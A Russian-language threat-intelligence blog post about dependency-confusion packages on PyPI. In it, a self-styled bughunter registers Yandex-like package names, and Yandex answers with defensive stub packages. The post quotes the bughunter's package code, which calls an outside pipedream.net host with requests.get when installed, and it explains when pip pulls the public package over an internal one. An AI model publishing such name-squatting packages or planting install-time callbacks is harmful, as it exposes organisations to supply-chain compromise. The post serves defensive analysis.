[ << ALL_FEED ]

Страсти опенсорса: мафия, стилеры и багхантинг проектов «Яндекса»

Ещё в группе «Общее»

Страсти опенсорса: мафия, стилеры и багхантинг проектов «Яндекса» 🐱

За последние две недели в Python Package Index произошло много занятного. Мы вооружились вердиктами модели машинного обучения сервиса PT PyAnalysis, дабы рассказать вам об интересных сработках.

Багхантеры против «Яндекса»

Еще в январе 2023 года человек с ником yandex.bughunter зарегистрировал пять пакетов с разными вариантами текста:


import subprocess
import os
import requests

#I am  bughunter
#t.a.neo@yandex.ru
print('it works!')
requests.get("https://76c4[REDACTED]f5d3.m.pipedream.net/example-package-taxi-etl")
Code language: Python (python)

import requests
#I am  bughunter
#t.a.neo@yandex.ru
print('If you read this message and you are from Yandex write me t.a.neo@yandex.ru')
requests.get("https://76c4[REDACTED]f5d3.m.pipedream.net/dmp_suite")
Code language: Python (python)

Описание пакетов одинаковое: I created this package for security testing. I am bughunter from Yandex.

Но странно, что в метаданных PyPI-проекта автор представляется как Thomas Anderson <t.a.neo@yandex.ru>, то есть использует личную почту, а не корпоративные @team.yandex.ru / @yandex-team.ru ❕

Не говоря уже о том, что Thomas Anderson — это тот самый мистер Андерсон из «Матрицы»…

Этот человек имитирует supply-chain-атаку, регистрируя в глобальном репозитории пакет с таким же именем, как у пакета, существующего во внутреннем репозитории определенной группы разработчиков (в данном случае — команды «Яндекса»).

Установка пакета из глобального репозитория произойдет, если:

🔤 Пакетный менеджер (далее — ПМ) не умеет в расстановку приоритетов скачивания из списка репозиториев. Насчет того, что pip выбирает лучший по версии пакет из всех репозиториев, указанных в его конфиге, уже давно ведутся жаркие дискуссии. В Poetry такой проблемы нет.

🔤 ПМ не настроен на использование внутреннего репозитория. Так может быть на свежем устройстве нового коллеги, который еще не прошел гайд для новичков.

🔤 В конфиге ПМ настроено приоритетное использование внутреннего репозитория вместо глобального, но внутренний по каким-то причинам сейчас недоступен.

🔤 В конфиге ПМ настроено приоритетное использование глобального репозитория вместо внутреннего («Если пакета нет в глобальном репозитории, значит, пакет наш и его нужно установить из внутреннего»).

Конфликт очередности использования репозиториев уже был в декабре 2022 года в известной атаке на ночные релизы torch. Злоумышленник зарегистрировал в глобальном репозитории PyPI библиотеку torchtriton, которая обычно подтягивалась из настроенного внутреннего репозитория. При этом установка пакета происходила через pip: вот и весь секрет киллчейна.

😰 В августе 2024 года мы заметили, что авторство одного из пакетов пользователя yandex.bughunter забрал себе yandex-bot — аккаунт, который владеет 1279 пакетами с интересными названиями, такими как yandex-soc-services-sdk, yandex-cloud-ml-sdk-preview, yandex-infradev-tool…

Во всех этих пакетах автором указан Yandex <security@yandex-team.ru>. Описание гласит: A package to prevent Dependency Confusion attacks against Yandex, а сами пакеты вызывают исключение при попытке их поставить:


class InstallCommand(install):
    def run(self):
        raise RuntimeError("You are trying to install a stub package yandex-cloud-ml-sdk-preview. Maybe you are using the wrong pypi? See https://nda.ya.ru/t/GljG[REDACTED]zAGGz for details")
Code language: Python (python)

У нас нет подробностей того, как yandex.bughunter узнал список пакетов внутренней кухни «Яндекса», но, похоже, что компания заметила это и начала договариваться с багхантером. Или потихоньку отжимает пакеты через администрацию PyPI 🐱

To be continued…

#ti #pypi #pyanalysis
@ptescalator

Ещё от ti_author

Ещё от ti_author

Ещё в группе «Общее»